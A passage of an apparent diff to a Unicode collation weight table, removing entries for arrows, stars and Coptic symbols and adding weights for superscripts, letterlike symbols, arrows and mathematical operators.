ABOVE REVERSE ALMOST EQUAL TO -2B43 ; [*0D0B.0020.0002] # RIGHTWARDS ARROW THROUGH GREATER-THAN -2B44 ; [*0D0C.0020.0002] # RIGHTWARDS ARROW THROUGH SUPERSET -2B45 ; [*0D0D.0020.0002] # LEFTWARDS QUADRUPLE ARROW -2B46 ; [*0D0E.0020.0002] # RIGHTWARDS QUADRUPLE ARROW -2B47 ; [*0D0F.0020.0002] # REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW -2B48 ; [*0D10.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO -2B49 ; [*0D11.0020.0002] # TILDE OPERATOR ABOVE LEFTWARDS ARROW -2B4A ; [*0D12.0020.0002] # LEFTWARDS ARROW ABOVE ALMOST EQUAL TO -2B4B ; [*0D13.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR -2B4C ; [*0D14.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR -2B4D ; [*0D15.0020.0002] # DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW -2B4E ; [*0D16.0020.0002] # SHORT SLANTED NORTH ARROW -2B4F ; [*0D17.0020.0002] # SHORT BACKSLANTED SOUTH ARROW -2B50 ; [*0D18.0020.0002] # WHITE MEDIUM STAR -2B51 ; [*0D19.0020.0002] # BLACK SMALL STAR -2B52 ; [*0D1A.0020.0002] # WHITE SMALL STAR -2B53 ; [*0D1B.0020.0002] # BLACK RIGHT-POINTING PENTAGON -2B54 ; [*0D1C.0020.0002] # WHITE RIGHT-POINTING PENTAGON -2B55 ; [*0D1D.0020.0002] # HEAVY LARGE CIRCLE -2B56 ; [*0D1E.0020.0002] # HEAVY OVAL WITH OVAL INSIDE -2B57 ; [*0D1F.0020.0002] # HEAVY CIRCLE WITH CIRCLE INSIDE -2B58 ; [*0D20.0020.0002] # HEAVY CIRCLE -2B59 ; [*0D21.0020.0002] # HEAVY CIRCLED SALTIRE -2B5A ; [*0D22.0020.0002] # SLANTED NORTH ARROW WITH HOOKED HEAD -2B5B ; [*0D23.0020.0002] # BACKSLANTED SOUTH ARROW WITH HOOKED TAIL -2B5C ; [*0D24.0020.0002] # SLANTED NORTH ARROW WITH HORIZONTAL TAIL -2B5D ; [*0D25.0020.0002] # BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL -2B5E ; [*0D26.0020.0002] # BENT ARROW POINTING DOWNWARDS THEN NORTH EAST -2B5F ; [*0D27.0020.0002] # SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST -2B60 ; [*0D28.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW -2B61 ; [*0D29.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW -2B62 ; [*0D2A.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW -2B63 ; [*0D2B.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW -2B64 ; [*0D2C.0020.0002] # LEFT RIGHT TRIANGLE-HEADED ARROW -2B65 ; [*0D2D.0020.0002] # UP DOWN TRIANGLE-HEADED ARROW -2B66 ; [*0D2E.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW -2B67 ; [*0D2F.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW -2B68 ; [*0D30.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW -2B69 ; [*0D31.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW -2B6A ; [*0D32.0020.0002] # LEFTWARDS TRIANGLE-HEADED DASHED ARROW -2B6B ; [*0D33.0020.0002] # UPWARDS TRIANGLE-HEADED DASHED ARROW -2B6C ; [*0D34.0020.0002] # RIGHTWARDS TRIANGLE-HEADED DASHED ARROW -2B6D ; [*0D35.0020.0002] # DOWNWARDS TRIANGLE-HEADED DASHED ARROW -2B6E ; [*0D36.0020.0002] # CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW -2B6F ; [*0D37.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW -2B70 ; [*0D38.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW TO BAR -2B71 ; [*0D39.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW TO BAR -2B72 ; [*0D3A.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR -2B73 ; [*0D3B.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW TO BAR -2B76 ; [*0D3C.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW TO BAR -2B77 ; [*0D3D.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW TO BAR -2B78 ; [*0D3E.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW TO BAR -2B79 ; [*0D3F.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW TO BAR -2B7A ; [*0D40.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE -2B7B ; [*0D41.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE -2B7C ; [*0D42.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE -2B7D ; [*0D43.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE -2B7E ; [*0D44.0020.0002] # HORIZONTAL TAB KEY -2B7F ; [*0D45.0020.0002] # VERTICAL TAB KEY -2B80 ; [*0D46.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW -2B81 ; [*0D47.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW -2B82 ; [*0D48.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW -2B83 ; [*0D49.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW -2B84 ; [*0D4A.0020.0002] # LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS -2B85 ; [*0D4B.0020.0002] # UPWARDS TRIANGLE-HEADED PAIRED ARROWS -2B86 ; [*0D4C.0020.0002] # RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS -2B87 ; [*0D4D.0020.0002] # DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS -2B88 ; [*0D4E.0020.0002] # LEFTWARDS BLACK CIRCLED WHITE ARROW -2B89 ; [*0D4F.0020.0002] # UPWARDS BLACK CIRCLED WHITE ARROW -2B8A ; [*0D50.0020.0002] # RIGHTWARDS BLACK CIRCLED WHITE ARROW -2B8B ; [*0D51.0020.0002] # DOWNWARDS BLACK CIRCLED WHITE ARROW -2B8C ; [*0D52.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW -2B8D ; [*0D53.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW -2B8E ; [*0D54.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW -2B8F ; [*0D55.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW -2B90 ; [*0D56.0020.0002] # RETURN LEFT -2B91 ; [*0D57.0020.0002] # RETURN RIGHT -2B92 ; [*0D58.0020.0002] # NEWLINE LEFT -2B93 ; [*0D59.0020.0002] # NEWLINE RIGHT -2B94 ; [*0D5A.0020.0002] # FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE -2B95 ; [*0D5B.0020.0002] # RIGHTWARDS BLACK ARROW -2B98 ; [*0D5C.0020.0002] # THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD -2B99 ; [*0D5D.0020.0002] # THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD -2B9A ; [*0D5E.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD -2B9B ; [*0D5F.0020.0002] # THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD -2B9C ; [*0D60.0020.0002] # BLACK LEFTWARDS EQUILATERAL ARROWHEAD -2B9D ; [*0D61.0020.0002] # BLACK UPWARDS EQUILATERAL ARROWHEAD -2B9E ; [*0D62.0020.0002] # BLACK RIGHTWARDS EQUILATERAL ARROWHEAD -2B9F ; [*0D63.0020.0002] # BLACK DOWNWARDS EQUILATERAL ARROWHEAD -2BA0 ; [*0D64.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS -2BA1 ; [*0D65.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS -2BA2 ; [*0D66.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS -2BA3 ; [*0D67.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS -2BA4 ; [*0D68.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS -2BA5 ; [*0D69.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS -2BA6 ; [*0D6A.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS -2BA7 ; [*0D6B.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS -2BA8 ; [*0D6C.0020.0002] # BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW -2BA9 ; [*0D6D.0020.0002] # BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW -2BAA ; [*0D6E.0020.0002] # BLACK CURVED UPWARDS AND LEFTWARDS ARROW -2BAB ; [*0D6F.0020.0002] # BLACK CURVED UPWARDS AND RIGHTWARDS ARROW -2BAC ; [*0D70.0020.0002] # BLACK CURVED LEFTWARDS AND UPWARDS ARROW -2BAD ; [*0D71.0020.0002] # BLACK CURVED RIGHTWARDS AND UPWARDS ARROW -2BAE ; [*0D72.0020.0002] # BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW -2BAF ; [*0D73.0020.0002] # BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW -2BB0 ; [*0D74.0020.0002] # RIBBON ARROW DOWN LEFT -2BB1 ; [*0D75.0020.0002] # RIBBON ARROW DOWN RIGHT -2BB2 ; [*0D76.0020.0002] # RIBBON ARROW UP LEFT -2BB3 ; [*0D77.0020.0002] # RIBBON ARROW UP RIGHT -2BB4 ; [*0D78.0020.0002] # RIBBON ARROW LEFT UP -2BB5 ; [*0D79.0020.0002] # RIBBON ARROW RIGHT UP -2BB6 ; [*0D7A.0020.0002] # RIBBON ARROW LEFT DOWN -2BB7 ; [*0D7B.0020.0002] # RIBBON ARROW RIGHT DOWN -2BB8 ; [*0D7C.0020.0002] # UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR -2BB9 ; [*0D7D.0020.0002] # UP ARROWHEAD IN A RECTANGLE BOX -2BBD ; [*0D7E.0020.0002] # BALLOT BOX WITH LIGHT X -2BBE ; [*0D7F.0020.0002] # CIRCLED X -2BBF ; [*0D80.0020.0002] # CIRCLED BOLD X -2BC0 ; [*0D81.0020.0002] # BLACK SQUARE CENTRED -2BC1 ; [*0D82.0020.0002] # BLACK DIAMOND CENTRED -2BC2 ; [*0D83.0020.0002] # TURNED BLACK PENTAGON -2BC3 ; [*0D84.0020.0002] # HORIZONTAL BLACK OCTAGON -2BC4 ; [*0D85.0020.0002] # BLACK OCTAGON -2BC5 ; [*0D86.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE CENTRED -2BC6 ; [*0D87.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED -2BC7 ; [*0D88.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED -2BC8 ; [*0D89.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA ; [*0D8A.0020.0002] # TOP HALF BLACK CIRCLE -2BCB ; [*0D8B.0020.0002] # BOTTOM HALF BLACK CIRCLE -2BCC ; [*0D8C.0020.0002] # LIGHT FOUR POINTED BLACK CUSP -2BCD ; [*0D8D.0020.0002] # ROTATED LIGHT FOUR POINTED BLACK CUSP -2BCE ; [*0D8E.0020.0002] # WHITE FOUR POINTED CUSP -2BCF ; [*0D8F.0020.0002] # ROTATED WHITE FOUR POINTED CUSP -2BD0 ; [*0D90.0020.0002] # SQUARE POSITION INDICATOR -2BD1 ; [*0D91.0020.0002] # UNCERTAINTY SIGN -2BEC ; [*0D92.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS -2BED ; [*0D93.0020.0002] # UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS -2BEE ; [*0D94.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS -2BEF ; [*0D95.0020.0002] # DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS -2CE5 ; [*0D96.0020.0002] # COPTIC SYMBOL MI RO -2CE6 ; [*0D97.0020.0002] # COPTIC SYMBOL PI RO -2CE7 ; [*0D98.0020.0002] # COPTIC SYMBOL STAUROS -2CE8 ; [*0D99.0020.0002] # COPTIC SYMBOL TAU RO -2CE9 ; [*0D9A.0020.0002] # COPTIC SYMBOL KHI RO -2CEA ; [*0D9B.0020.0002] # COPTIC SYMBOL SHIMA SIMA -2CF9 ; [*0281.0020.0002] # COPTIC OLD NUBIAN FULL STOP -2CFA ; [*026E.0020.0002] # COPTIC OLD NUBIAN DIRECT QUESTION MARK -2CFB ; [*026F.0020.0002] # COPTIC OLD NUBIAN INDIRECT QUESTION MARK -2CFC ; [*02F6.0020.0002] # COPTIC OLD NUBIAN VERSE DIVIDER -2CFD ; [*1AE2.0020.0002] # COPTIC FRACTION ONE HALF -2CFE ; [*0282.0020.0002] # COPTIC FULL STOP -2CFF ; [*02F7.0020.0002] # COPTIC MORPHOLOGICAL DIVIDER -2D70 ; [*0427.0020.0002] # TIFINAGH SEPARATOR MARK +207A ; [*05F6.0020.0014] # SUPERSCRIPT PLUS SIGN +207B ; [*0601.0020.0014] # SUPERSCRIPT MINUS +207C ; [*05FB.0020.0014] # SUPERSCRIPT EQUALS SIGN +207D ; [*0310.0020.0014] # SUPERSCRIPT LEFT PARENTHESIS +207E ; [*0311.0020.0014] # SUPERSCRIPT RIGHT PARENTHESIS +208A ; [*05F6.0020.0015] # SUBSCRIPT PLUS SIGN +208B ; [*0601.0020.0015] # SUBSCRIPT MINUS +208C ; [*05FB.0020.0015] # SUBSCRIPT EQUALS SIGN +208D ; [*0310.0020.0015] # SUBSCRIPT LEFT PARENTHESIS +208E ; [*0311.0020.0015] # SUBSCRIPT RIGHT PARENTHESIS +2104 ; [*0566.0020.0002] # CENTRE LINE SYMBOL +2108 ; [*0567.0020.0002] # SCRUPLE +2114 ; [*0568.0020.0002] # L B BAR SYMBOL +2117 ; [*0569.0020.0002] # SOUND RECORDING COPYRIGHT +2118 ; [*056A.0020.0002] # SCRIPT CAPITAL P +211E ; [*056B.0020.0002] # PRESCRIPTION TAKE +211F ; [*056C.0020.0002] # RESPONSE +2123 ; [*056D.0020.0002] # VERSICLE +2125 ; [*056E.0020.0002] # OUNCE SIGN +2127 ; [*056F.0020.0002] # INVERTED OHM SIGN +2129 ; [*0570.0020.0002] # TURNED GREEK SMALL LETTER IOTA +212E ; [*0571.0020.0002] # ESTIMATED SYMBOL +213A ; [*0572.0020.0002] # ROTATED CAPITAL Q +2140 ; [*05F5.0020.0005] # DOUBLE-STRUCK N-ARY SUMMATION +2141 ; [*0573.0020.0002] # TURNED SANS-SERIF CAPITAL G +2142 ; [*0574.0020.0002] # TURNED SANS-SERIF CAPITAL L +2143 ; [*0575.0020.0002] # REVERSED SANS-SERIF CAPITAL L +2144 ; [*0576.0020.0002] # TURNED SANS-SERIF CAPITAL Y +214A ; [*0577.0020.0002] # PROPERTY LINE +214B ; [*0691.0020.0002] # TURNED AMPERSAND +214C ; [*0578.0020.0002] # PER SIGN +214F ; [*0579.0020.0002] # SYMBOL FOR SAMARITAN SOURCE +2180 ; [*1A4C.0020.0002] # ROMAN NUMERAL ONE THOUSAND C D +2181 ; [*1A4D.0020.0002] # ROMAN NUMERAL FIVE THOUSAND +2182 ; [*1A4E.0020.0002] # ROMAN NUMERAL TEN THOUSAND +2186 ; [*1A4F.0020.0002] # ROMAN NUMERAL FIFTY EARLY FORM +2187 ; [*1A50.0020.0002] # ROMAN NUMERAL FIFTY THOUSAND +2188 ; [*1A51.0020.0002] # ROMAN NUMERAL ONE HUNDRED THOUSAND +218A ; [*057A.0020.0002] # TURNED DIGIT TWO +218B ; [*057B.0020.0002] # TURNED DIGIT THREE +2190 ; [*057C.0020.0002] # LEFTWARDS ARROW +2191 ; [*057E.0020.0002] # UPWARDS ARROW +2192 ; [*057D.0020.0002] # RIGHTWARDS ARROW +2193 ; [*057F.0020.0002] # DOWNWARDS ARROW +2194 ; [*0580.0020.0002] # LEFT RIGHT ARROW +2195 ; [*0581.0020.0002] # UP DOWN ARROW +2196 ; [*0582.0020.0002] # NORTH WEST ARROW +2197 ; [*0583.0020.0002] # NORTH EAST ARROW +2198 ; [*0584.0020.0002] # SOUTH EAST ARROW +2199 ; [*0585.0020.0002] # SOUTH WEST ARROW +219A ; [*057C.0020.0002][.0000.002F.0002] # LEFTWARDS ARROW WITH STROKE +219B ; [*057D.0020.0002][.0000.002F.0002] # RIGHTWARDS ARROW WITH STROKE +219C ; [*0586.0020.0002] # LEFTWARDS WAVE ARROW +219D ; [*0587.0020.0002] # RIGHTWARDS WAVE ARROW +219E ; [*0588.0020.0002] # LEFTWARDS TWO HEADED ARROW +219F ; [*0589.0020.0002] # UPWARDS TWO HEADED ARROW +21A0 ; [*058A.0020.0002] # RIGHTWARDS TWO HEADED ARROW +21A1 ; [*058B.0020.0002] # DOWNWARDS TWO HEADED ARROW +21A2 ; [*058C.0020.0002] # LEFTWARDS ARROW WITH TAIL +21A3 ; [*058D.0020.0002] # RIGHTWARDS ARROW WITH TAIL +21A4 ; [*058E.0020.0002] # LEFTWARDS ARROW FROM BAR +21A5 ; [*058F.0020.0002] # UPWARDS ARROW FROM BAR +21A6 ; [*0590.0020.0002] # RIGHTWARDS ARROW FROM BAR +21A7 ; [*0591.0020.0002] # DOWNWARDS ARROW FROM BAR +21A8 ; [*0592.0020.0002] # UP DOWN ARROW WITH BASE +21A9 ; [*0593.0020.0002] # LEFTWARDS ARROW WITH HOOK +21AA ; [*0594.0020.0002] # RIGHTWARDS ARROW WITH HOOK +21AB ; [*0595.0020.0002] # LEFTWARDS ARROW WITH LOOP +21AC ; [*0596.0020.0002] # RIGHTWARDS ARROW WITH LOOP +21AD ; [*0597.0020.0002] # LEFT RIGHT WAVE ARROW +21AE ; [*0580.0020.0002][.0000.002F.0002] # LEFT RIGHT ARROW WITH STROKE +21AF ; [*0598.0020.0002] # DOWNWARDS ZIGZAG ARROW +21B0 ; [*0599.0020.0002] # UPWARDS ARROW WITH TIP LEFTWARDS +21B1 ; [*059A.0020.0002] # UPWARDS ARROW WITH TIP RIGHTWARDS +21B2 ; [*059B.0020.0002] # DOWNWARDS ARROW WITH TIP LEFTWARDS +21B3 ; [*059C.0020.0002] # DOWNWARDS ARROW WITH TIP RIGHTWARDS +21B4 ; [*059D.0020.0002] # RIGHTWARDS ARROW WITH CORNER DOWNWARDS +21B5 ; [*059E.0020.0002] # DOWNWARDS ARROW WITH CORNER LEFTWARDS +21B6 ; [*059F.0020.0002] # ANTICLOCKWISE TOP SEMICIRCLE ARROW +21B7 ; [*05A0.0020.0002] # CLOCKWISE TOP SEMICIRCLE ARROW +21B8 ; [*05A1.0020.0002] # NORTH WEST ARROW TO LONG BAR +21B9 ; [*05A2.0020.0002] # LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR +21BA ; [*05A3.0020.0002] # ANTICLOCKWISE OPEN CIRCLE ARROW +21BB ; [*05A4.0020.0002] # CLOCKWISE OPEN CIRCLE ARROW +21BC ; [*05A5.0020.0002] # LEFTWARDS HARPOON WITH BARB UPWARDS +21BD ; [*05A6.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWNWARDS +21BE ; [*05A7.0020.0002] # UPWARDS HARPOON WITH BARB RIGHTWARDS +21BF ; [*05A8.0020.0002] # UPWARDS HARPOON WITH BARB LEFTWARDS +21C0 ; [*05A9.0020.0002] # RIGHTWARDS HARPOON WITH BARB UPWARDS +21C1 ; [*05AA.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWNWARDS +21C2 ; [*05AB.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHTWARDS +21C3 ; [*05AC.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFTWARDS +21C4 ; [*05AD.0020.0002] # RIGHTWARDS ARROW OVER LEFTWARDS ARROW +21C5 ; [*05AE.0020.0002] # UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW +21C6 ; [*05AF.0020.0002] # LEFTWARDS ARROW OVER RIGHTWARDS ARROW +21C7 ; [*05B0.0020.0002] # LEFTWARDS PAIRED ARROWS +21C8 ; [*05B1.0020.0002] # UPWARDS PAIRED ARROWS +21C9 ; [*05B2.0020.0002] # RIGHTWARDS PAIRED ARROWS +21CA ; [*05B3.0020.0002] # DOWNWARDS PAIRED ARROWS +21CB ; [*05B4.0020.0002] # LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON +21CC ; [*05B5.0020.0002] # RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON +21CD ; [*05B6.0020.0002][.0000.002F.0002] # LEFTWARDS DOUBLE ARROW WITH STROKE +21CE ; [*05BA.0020.0002][.0000.002F.0002] # LEFT RIGHT DOUBLE ARROW WITH STROKE +21CF ; [*05B8.0020.0002][.0000.002F.0002] # RIGHTWARDS DOUBLE ARROW WITH STROKE +21D0 ; [*05B6.0020.0002] # LEFTWARDS DOUBLE ARROW +21D1 ; [*05B7.0020.0002] # UPWARDS DOUBLE ARROW +21D2 ; [*05B8.0020.0002] # RIGHTWARDS DOUBLE ARROW +21D3 ; [*05B9.0020.0002] # DOWNWARDS DOUBLE ARROW +21D4 ; [*05BA.0020.0002] # LEFT RIGHT DOUBLE ARROW +21D5 ; [*05BB.0020.0002] # UP DOWN DOUBLE ARROW +21D6 ; [*05BC.0020.0002] # NORTH WEST DOUBLE ARROW +21D7 ; [*05BD.0020.0002] # NORTH EAST DOUBLE ARROW +21D8 ; [*05BE.0020.0002] # SOUTH EAST DOUBLE ARROW +21D9 ; [*05BF.0020.0002] # SOUTH WEST DOUBLE ARROW +21DA ; [*05C0.0020.0002] # LEFTWARDS TRIPLE ARROW +21DB ; [*05C1.0020.0002] # RIGHTWARDS TRIPLE ARROW +21DC ; [*05C2.0020.0002] # LEFTWARDS SQUIGGLE ARROW +21DD ; [*05C3.0020.0002] # RIGHTWARDS SQUIGGLE ARROW +21DE ; [*05C4.0020.0002] # UPWARDS ARROW WITH DOUBLE STROKE +21DF ; [*05C5.0020.0002] # DOWNWARDS ARROW WITH DOUBLE STROKE +21E0 ; [*05C6.0020.0002] # LEFTWARDS DASHED ARROW +21E1 ; [*05C7.0020.0002] # UPWARDS DASHED ARROW +21E2 ; [*05C8.0020.0002] # RIGHTWARDS DASHED ARROW +21E3 ; [*05C9.0020.0002] # DOWNWARDS DASHED ARROW +21E4 ; [*05CA.0020.0002] # LEFTWARDS ARROW TO BAR +21E5 ; [*05CB.0020.0002] # RIGHTWARDS ARROW TO BAR +21E6 ; [*05CC.0020.0002] # LEFTWARDS WHITE ARROW +21E7 ; [*05CD.0020.0002] # UPWARDS WHITE ARROW +21E8 ; [*05CE.0020.0002] # RIGHTWARDS WHITE ARROW +21E9 ; [*05CF.0020.0002] # DOWNWARDS WHITE ARROW +21EA ; [*05D0.0020.0002] # UPWARDS WHITE ARROW FROM BAR +21EB ; [*05D1.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL +21EC ; [*05D2.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR +21ED ; [*05D3.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR +21EE ; [*05D4.0020.0002] # UPWARDS WHITE DOUBLE ARROW +21EF ; [*05D5.0020.0002] # UPWARDS WHITE DOUBLE ARROW ON PEDESTAL +21F0 ; [*05D6.0020.0002] # RIGHTWARDS WHITE ARROW FROM WALL +21F1 ; [*05D7.0020.0002] # NORTH WEST ARROW TO CORNER +21F2 ; [*05D8.0020.0002] # SOUTH EAST ARROW TO CORNER +21F3 ; [*05D9.0020.0002] # UP DOWN WHITE ARROW +21F4 ; [*05DA.0020.0002] # RIGHT ARROW WITH SMALL CIRCLE +21F5 ; [*05DB.0020.0002] # DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW +21F6 ; [*05DC.0020.0002] # THREE RIGHTWARDS ARROWS +21F7 ; [*05DD.0020.0002] # LEFTWARDS ARROW WITH VERTICAL STROKE +21F8 ; [*05DE.0020.0002] # RIGHTWARDS ARROW WITH VERTICAL STROKE +21F9 ; [*05DF.0020.0002] # LEFT RIGHT ARROW WITH VERTICAL STROKE +21FA ; [*05E0.0020.0002] # LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE +21FB ; [*05E1.0020.0002] # RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE +21FC ; [*05E2.0020.0002] # LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE +21FD ; [*05E3.0020.0002] # LEFTWARDS OPEN-HEADED ARROW +21FE ; [*05E4.0020.0002] # RIGHTWARDS OPEN-HEADED ARROW +21FF ; [*05E5.0020.0002] # LEFT RIGHT OPEN-HEADED ARROW +2200 ; [*05E6.0020.0002] # FOR ALL +2201 ; [*05E7.0020.0002] # COMPLEMENT +2202 ; [*05E8.0020.0002] # PARTIAL DIFFERENTIAL +2203 ; [*05E9.0020.0002] # THERE EXISTS +2204 ; [*05E9.0020.0002][.0000.002F.0002] # THERE DOES NOT EXIST +2205 ; [*05EA.0020.0002] # EMPTY SET +2206 ; [*05EB.0020.0002] # INCREMENT +2207 ; [*05EC.0020.0002] # NABLA +2208 ; [*05ED.0020.0002] # ELEMENT OF +2209 ; [*05ED.0020.0002][.0000.002F.0002] # NOT AN ELEMENT OF +220A ; [*05EE.0020.0002] # SMALL ELEMENT OF +220B ; [*05EF.0020.0002] # CONTAINS AS MEMBER +220C ; [*05EF.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS MEMBER +220D ; [*05F0.0020.0002] # SMALL CONTAINS AS MEMBER +220E ; [*05F2.0020.0002] # END OF PROOF +220F ; [*05F3.0020.0002] # N-ARY PRODUCT +2210 ; [*05F4.0020.0002] # N-ARY COPRODUCT +2211 ; [*05F5.0020.0002] # N-ARY SUMMATION +2212 ; [*0601.0020.0002] # MINUS SIGN +2213 ; [*0603.0020.0002] # MINUS-OR-PLUS SIGN +2214 ; [*0604.0020.0002] # DOT PLUS +2215 ; [*0605.0020.0002] # DIVISION SLASH +2216 ; [*0607.0020.0002] # SET MINUS +2217 ; [*0608.0020.0002] # ASTERISK OPERATOR +2218 ; [*0609.0020.0002] # RING OPERATOR +2219 ; [*060A.0020.0002] # BULLET OPERATOR +221A ; [*060B.0020.0002] # SQUARE ROOT +221B ; [*060C.0020.0002] # CUBE ROOT +221C ; [*060E.0020.0002] # FOURTH ROOT +221D ; [*0610.0020.0002] # PROPORTIONAL TO +221E ; [*0611.0020.0002] # INFINITY +221F ; [*0612.0020.0002] # RIGHT ANGLE +2220 ; [*0613.0020.0002] # ANGLE +2221 ; [*0614.0020.0002] # MEASURED ANGLE +2222 ; [*0615.0020.0002] # SPHERICAL ANGLE +2223 ; [*0616.0020.0002] # DIVIDES +2224 ; [*0616.0020.0002][.0000.002F.0002] # DOES NOT DIVIDE +2225 ; [*0617.0020.0002] # PARALLEL TO +2226 ; [*0617.0020.0002][.0000.002F.0002] # NOT PARALLEL TO +2227 ; [*0618.0020.0002] # LOGICAL AND +2228 ; [*0619.0020.0002] # LOGICAL OR +2229 ; [*061A.0020.0002] # INTERSECTION +222A ; [*061B.0020.0002] # UNION +222B ; [*061C.0020.0002] # INTEGRAL +222C ; [*061C.0020.0004][*061C.0020.0004] # DOUBLE INTEGRAL +222D ; [*061C.0020.0004][*061C.0020.0004][*061C.0020.0004] # TRIPLE INTEGRAL +222E ; [*061D.0020.0002] # CONTOUR INTEGRAL +222F ; [*061D.0020.0004][*061D.0020.0004] # SURFACE INTEGRAL +2230 ; [*061D.0020.0004][*061D.0020.0004][*061D.0020.0004] # VOLUME INTEGRAL +2231 ; [*061E.0020.0002] # CLOCKWISE INTEGRAL +2232 ; [*061F.0020.0002] # CLOCKWISE CONTOUR INTEGRAL +2233 ; [*0620.0020.0002] # ANTICLOCKWISE CONTOUR INTEGRAL +2234 ; [*0621.0020.0002] # THEREFORE +2235 ; [*0622.0020.0002] # BECAUSE +2236 ; [*0623.0020.0002] # RATIO +2237 ; [*0624.0020.0002] # PROPORTION +2238 ; [*0625.0020.0002] # DOT MINUS +2239 ; [*0626.0020.0002] # EXCESS +223A ; [*0627.0020.0002] # GEOMETRIC PROPORTION +223B ; [*0628.0020.0002] # HOMOTHETIC +223C ; [*0629.0020.0002] # TILDE OPERATOR +223D ; [*062A.0020.0002] # REVERSED TILDE +223E ; [*062B.0020.0002] # INVERTED LAZY S +223F ; [*062C.0020.0002] # SINE WAVE 